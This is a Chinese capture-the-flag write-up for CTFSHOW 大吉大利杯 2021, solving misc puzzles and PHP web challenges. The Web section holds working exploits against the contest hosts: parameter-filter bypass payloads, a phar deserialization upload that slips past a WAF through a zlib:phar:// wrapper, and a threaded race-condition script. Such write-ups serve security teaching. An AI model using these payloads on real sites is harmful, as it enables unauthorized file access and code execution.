CTFSHOW 大吉大利杯 2021

Misc

拼图v2.0

朴实无华的拼图,唯一不同的是 favicon.png 提供了原图,同时因为图片需要旋转,所以 gaps 行不通了。

这里首先使用 Chrome 插件 Resources Saver 下载所有的图片,然后写脚本拼图。因为原图已经给出,所以将原图按照题目的方式切片即得到了拼图的模板。剩下要做的就是将拼图与原图的切片一一对应然后拼合。这里采用了采样的办法,每个切片取九个采样点,然后根据其匹配的顺序将切片进行旋转,全部完成之后拼合即得到 flag。

def NinePointSamplingAnalyze(image):
    width, height = image.size
    imgObject = image.convert("RGB")
    pixels = imgObject.load()
    samplings = []
    for i in range(3):
        for j in range(3):
            samplePixel = pixels[(width - 1) if j == 2 else (width // 2) * j, (height - 1) if i == 2 else (height // 2) * i]
            samplings.append(samplePixel)
    image.close()
    return samplings

def SamplingMatch(modelSample, sample):
    flag = 0
    for i in range(9):
        if sample[i] == modelSample["sample"][i]:
            flag += 1
    return flag

def SamplingBestRotate(modelSample, sample):
    flags = []
    for i in range(4):
        flags.append(SamplingMatch(modelSample, sample))
        sample = SamplingRotate(sample)
    return max(flags), flags.index(max(flags)) * (-90)

def SamplingRotate(sample):
    newSamplings = []
    index = [6, 3, 0, 7, 4, 1, 8, 5, 2]
    for i in range(9):
        newSamplings.append(sample[index[i]])
    return newSamplings

def SamplingBestSolve(modelSamplings, sample):
    flags = []
    degrees = []
    for i in range(len(modelSamplings)):
        flag, degree = SamplingBestRotate(modelSamplings[i], sample)
        flags.append(flag)
        degrees.append(degree)
    return max(flags), flags.index(max(flags)), degrees[flags.index(max(flags))]
flag{f4864ce0-18d6-4e45-bb51-08a9d47de97f}

AA86

根据题目描述 大约在16位操作系统还能跑的年代,搜索可以找到如下信息。

于是掏出学汇编的时候用的 DOSBOX 执行一波,得到了 flag。

flag{https://utf-8.jp/public/sas/index.html}

碑寺六十四卦

将图片反色后用 stegsolve 解出 LSB 隐写,得到一张 PNG。

将文件头处理好后打开,得到一张与碑上的卦对应的图。

undefined

然后将图上每一个对应八卦图和六十四卦速查得到如下内容。

晋 噬嗑 井 复 谦 丰
渐 大过 睽 巽 无妄 屯
中孚 观 归妹 革 坎 颐 
革 明夷 否 泰 明夷

按照图上的数字解出即为 5 37 26 32 8 44 11 30 53 27 39 34 51 3 52 46 18 33 46 40 7 56 40,将其对应 Base64 编码表解出 FlagIsLe1bnizD0uShuoH4o

flag{Le1bnizD0uShuoH4o}

牛年大吉

vhd 文件,挂载发现提示格式化,于是打开 WinHex 读取。发现引导扇区被擦除了,同时有 ?lag.7z牛年大吉.jpg 两个文件。根据提示压缩包密码在图片文件头里可知密码为 89504E47,解压可得 flag。

flag{CTFshow_The_Year_of_the_Ox}

请问大吉杯的签到是在这里签吗

将图片套娃 foremost 之后得到四张二维码,扫出来如下内容。

- 请问DJB CTF比赛的签到处在什么地方?
- 好像没有岔路了,一直往前走试试看
- 好像没有岔路了,一直往前走试试看
- 咦,这是死胡同,是不是哪里走错路了

于是回到第二张,尝试使用 StegSolve 看隐写,得到如下图片。

根据猪圈密码解密表,解得内容为 FLAGDAJIADOAIDJB

flag{dajiadoaidjb}

十八般兵器

使用压缩文档备注2021牛年大吉解压后得到一个文本文档和十八张兵器的图。图是 jpg 的 JPHS 隐写,分别提取出来之后发现每段文本后面有几个数字,将其按照文本文档中兵器的顺序 刀、枪、剑、戟、斧、钺、钩、叉、鞭、锏、锤、戈、镋、棍、槊、棒、矛、耙 分类拼接,得到如下两端。

136143999223163525817639797858700963935
3044053720460556276610613346353724230575

分别使用十进制转十六进制和八进制转十六进制处理后拼接。

666c61677b43544673686f775f31305f62415f42616e5f62316e675f51317d

From Hex 解得 flag。

flag{CTFshow_10_bA_Ban_b1ng_Q1}

色图生成器

解压文件后可得到一张图片和一个写满颜色的文本文档。将图片处理一下,只留下有小长方块的部分。

然后将其中的像素值读出来,每个小长方块记录一次。

from PIL import Image
image = Image.open("extracted.png").convert("RGB")

extractedFile = open("extracted.txt", "w")
width, height = image.size
widthPiece = width // 5
heightPiece = height // 20

for x in range(heightPiece):
    for y in range(widthPiece):
        pixel = image.getpixel((5 * y, 20 * x))
        colorByte = str((pixel[0] if pixel[0] != 0 else pixel[1] if pixel[1] != 0 else pixel[2]))
        extractedFile.write("{} ".format(colorByte))
        print("[+] Written {}".format(colorByte))
extractedFile.close()

将所得的内容经过 From Decimal 解码之后可以得到一个 rar 压缩文档。

将 rar 压缩文档解压可得一张图片。010 editor 打开图片可发现文件尾部有 zip 压缩文档,将其提取出来。使用 Cloakify 的解密工具,第一步得到的文本文档的内容作为 key 解密 rar 压缩文档的注释内容。

得到提取出来的 zip 压缩包的密码 D3arD4La0P1e45eD4iDa1Wo。解压提取出来的 zip 压缩文档之后可以得到一个 .pyc 文件。将其使用在线反编译工具反编译之后可以得到如下代码。

#! /usr/bin/env python 3.7 (3394)
# Compiled at: 1969-12-31 18:00:00
#Powered by BugScaner
from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
    m = hashlib.md5()
    m.update(flag.encode('ascii'))
    m = m.hexdigest()
    col = []
    for i in range(0, 24, 2):
        tmp = int(m[i:i + 2], 16)
        tmp += random.randint(-5, 5)
        col += [tmp]

    img = Image.new('RGB', (1024, 512))
    for i in range(4):
        timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
        img.paste(timg, (i * 256, 0))

    img.save('C:/Users/Administrator/Desktop/setu.png')

结合前面得到的图片可知 flag 的格式,尝试写脚本爆破 flag。

import re
import hashlib

colors = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for i in range(48, 125):
    for j in range(48, 125):
        for k in range(48, 125):
            for n in range(48, 125):
                flag = "flag{D" + chr(i) + chr(j) + chr(k) + chr(n) + "}"
                if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                    m = hashlib.md5()
                    m.update(flag.encode('ascii'))
                    m = m.hexdigest()
                    runCount = 0
                    for x in range(0, 24, 2):
                        color = colors[runCount]
                        tmp = int(m[x:x + 2], 16)
                        if -5 < (tmp - color) < 5:
                            runCount += 1
                            continue
                        elif x == 22:  # 23 - 1
                            print(flag)
                            exit(0)
                        else:
                            break

运行脚本可以得到 flag。

flag{D4n1U}

童话镇

将文件分离解压之后得到训练集和 flag,从网上找了一段 KNN 的算法稍微修改一下即可算出 flag 的标签。

# coding:utf-8
from numpy import *


##给出训练数据以及对应的类别
def createDataSet():
    groups = []
    labels = []
    for line in open("t.txt"):
        group = []
        label = line[0]
        line = line[2:]
        line = line.lstrip("[").rstrip("]\n").split(",")
        for x in line:
            group.append(int(x))
        groups.append(group)
        labels.append(label)
    print(groups)
    return array(groups), labels


###通过KNN进行分类
def classify(input, dataSet, label, k):
    dataSize = dataSet.shape[0]
    ####计算欧式距离
    diff = tile(input, (dataSize, 1)) - dataSet
    sqdiff = diff ** 2
    squareDist = sum(sqdiff, axis=1)  ###行向量分别相加,从而得到新的一个行向量
    dist = squareDist ** 0.5

    ##对距离进行排序
    sortedDistIndex = argsort(dist)  ##argsort()根据元素的值从大到小对元素进行排序,返回下标

    classCount = {}
    for i in range(k):
        voteLabel = label[sortedDistIndex[i]]
        ###对选取的K个样本所属的类别个数进行统计
        classCount[voteLabel] = classCount.get(voteLabel, 0) + 1
    ###选取出现的类别次数最多的类别
    maxCount = 0
    for key, value in classCount.items():
        if value > maxCount:
            maxCount = value
            classes = key

    return classes

dataSet, labels = createDataSet()
inputs = []
for line in open("flag.txt"):
    input = []
    line = line.lstrip("[").rstrip("]\n").split(",")
    for x in line:
        input.append(int(x))
    inputs.append(input)

file = open("KNNresulta.txt", "w")
for input in inputs:
    output = classify(array(input), dataSet, labels, 2)
    file.write(output)
    print(output)
file.close()

通过标签数量可以确定图片的尺寸,写脚本求出标签数量的约数。

for x in range(3, 78289 // 2 + 1):
    if 78289 % x == 0:
        print("[*] Found number {}".format(x))

很容易得出图片尺寸为 79x991。将标签转换为像素从而构建图片。

from PIL import Image

flagFile = open("KNNresulta.txt", "r")
flagStream = flagFile.read().rstrip("\n")

image = Image.new("RGB", (79, 991))
for i in range(79):
    for j in range(991):
        pixel = (255, 255, 255) if int(flagStream[i * 991 + j]) else (0, 0, 0)
        image.putpixel((i, j), pixel)
image = image.transpose(Image.FLIP_TOP_BOTTOM)
image.save("result.png")

将得到的图片顺时针旋转 90° 可得到如下图片。

flag{67373永生_举报狗必须死}

Web

veryphp

代码审计题目,给出的源代码如下。

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

先想办法拿到 hint,才能再去构造 $SecretNumber。因此先对着正则工具构造一串合理的字符串使之能到 echo $hint; 处。

接下来就是 extract($_POST); 设置的变量为 shaw_root,但是在 POST 的字符串中下划线被正则挡住了,因此使用空格来代替。写出这一部分的 payload,得到 hint。

shaw root=-a9<b>aaaaaaaaaa>>>>aabcp@Rsa
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

于是写个脚本跑一下这个 $SecretNumber,得到结果是 21475。

<?php
for ($i = 0; $i < 99999; $i++) {
    $num = sprintf("%05d", $i);
    $str = "shaw" . ($num) . "root";
    $md5Str = md5($str);
    if ($md5Str == "166b47a5cb1ca2431a0edfcef200684f") {
        echo "Found: " . $num . PHP_EOL;
        break;
    } else {
        echo "Trying: " . $num . " as " . $md5Str . PHP_EOL;
    }
}

拿到 Congratulation 之后就是要想办法到达 show_source("config.php") 处。因为 oao() 是个静态方法,所以直接传入 qwq::oao 就能被 call_user_func($my_ans) 调用到。因此最后的 payload 如下。

shaw root=-a9<b>aaaaaaaaaa>>>>aabcp@Rsa&ans=21475&my ans=qwq::oao
flag{d66c779bdd97750eb2b0a6a34384b901}

spaceman

反序列化的代码审计,给出的代码如下。

error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

可以发现给出了一个两个字符长边短的反序列化字符逃逸。但是跟到下面可以发现 $pass_word 其实是可控的。因此只需要构造如下 POST 参数就行。

user[name=lemonprefect&pass[word=ctfshowvip
ctfshow{661aa8e7-658d-4615-bec6-0479b2af71f1}

有手就行

传入 GET 参数 .../?file=flag,即可在源码种发现一张小程序码的图片的 base64 字符串,将其解码后可得如下图片。

扫描之后可以发现是一个爬楼的小游戏,得爬到 54429731 层才能拿到 flag。可以反编译小程序来拿到 flag。

插曲:Hyper-V 会导致 VT-x 无法被 Android 虚拟机使用。只需要暂时停用 Hyper-V 再重启即可。

bcdedit /set hypervisorlaunchtype off  ;停用
bcdedit /set hypervisorlaunchtype Auto ;恢复

注意:一旦停用了 Hyper-V 可能需要重新勾选 Hyper-V 的 Windows 功能才能恢复。

将微信小程序的程序包从 /data/data/com.tencent.mm/MicroMsg/bf10a35efc5fc9b37707a65b7f678057/appbrand/pkg 下取出。使用 wuWxapkg.js 将其反编译后在生成的目录的 pages/index 下可以找到 index.js。将其打开可以发现其中记录着如下内容。

decode: function(a) {
        return "flag{hahahawxunapk}";
    }
flag{hahahawxunapk}

虎山行

../mc-admin/page-edit.php 页面下发现任意文件包含漏洞,但是读取不到 flag。

访问上面给出的新路由,得到如下源码。

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

同时在管理面板下可以看到一个很显眼的上传点,路由是 ../upload.php。使用上述的文件包含读取出如下源码。

<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            $md5_unix_random =substr(md5(time()),0,8);
            $filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
        }
    }
}
else
{
    echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

可以发现上传后无法得知文件名,而且只能上传图片,因此需要想办法绕过上传限制且触发到 Ctfshow 的反序列化从而拿到下一步的 hint。使用 ../../../ctfshowsecretfilehh/waf.php 可以包含到 waf 的内容。

<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }

查阅了资料之后发现 phar 的利用姿势中有 zlib:phar:// 正好没被这个正则过滤到。使用如下的代码来生成一个 phar 包。

<?php
class Ctfshow{
    public $ctfer = 'shower';
}
$phar = new Phar("trigger.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new Ctfshow();
$phar->setMetadata($object);
$phar->addFromString("exp.txt","actuallyNothingHere");
$phar->stopBuffering();

因为这里没给文件名,所以需要写个脚本去上传,这样才能将时间戳范围确定从而找到正确的文件名用于文件包含。

import hashlib
import requests
import time


ENV = "http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/"
def composeUrl(timeNow):
    return "{}upload/{}.gif".format(ENV, (hashlib.md5(str(int(timeNow)).encode()).hexdigest())[:8])


while True:
    url = "{}upload.php".format(ENV)
    file = {
        'file': ('exp.gif', open("trigger.gif", 'rb'), "image/gif")
    }
    response = requests.post(url=url, files=file)
    now = time.time()
    nowUrl = composeUrl(now - 1)
    accessResponse = requests.get(nowUrl)
    print("[+] Trying with url {}".format(nowUrl))
    if("install.php" not in accessResponse.text):
        print("[*] Found! {}".format(nowUrl))
        exit()
    else:
        time.sleep(0.2)

运行上述脚本可以得出一个可以成功包含上传文件的链接。

http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/upload/21116d8b.gif

访问 .../hint.txt 可以得到如下信息。

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory

访问 .../ctfshowgetflaghhhh 可以获得如下源码。

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

这里有一点小 trick,(int)md5(time()) 有很大的机会取到 0,所以这里在反序列化中假定其为 0 可以更方便地构造。使用多线程脚本进行条件竞争,这样才能读到 flag。

import requests
import threading

ENV = "http://2acf732a-6d3b-4c16-b9f2-532ae48ca97e.chall.ctf.show/"
def Unserialization():
    print("[+] Unserialization thread lanched")
    while True:
        param = {
            "unser": 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}'
        }
        requests.get(url="{}ctfshowgetflaghhhh".format(ENV),params=param)


def GetFlag():
    print("[+] Get flag thread lanched")
    while True:
        response = requests.get(url="{}flag.txt".format(ENV))
        if("install.php" not in response.text):
            print("[*] Found flag in {}".format(response.content.decode("UTF-8")))
            event.clear()
        else:
            print("[!] Get flag thread retry")


event = threading.Event()
for i in range(20):
    threading.Thread(target=Unserialization, args=()).start()
    threading.Thread(target=GetFlag, args=()).start()

运行可以得到 flag。

ctfshow{229c1b86-f183-4520-8792-1e78448dad62}

虎山行's revenge

跟虎山行相比,目录有所变更。

- ctfshowsecretfilehh
+ hsxhsxhsxctfshowsecretfilel
- ctfshowgetflaghhhh
+ hsxctfshowsecretgetflagl
ctfshow{5a01f428-4ffa-44bc-aab5-571d5ebbfaa6}

results matching ""

    No results matching ""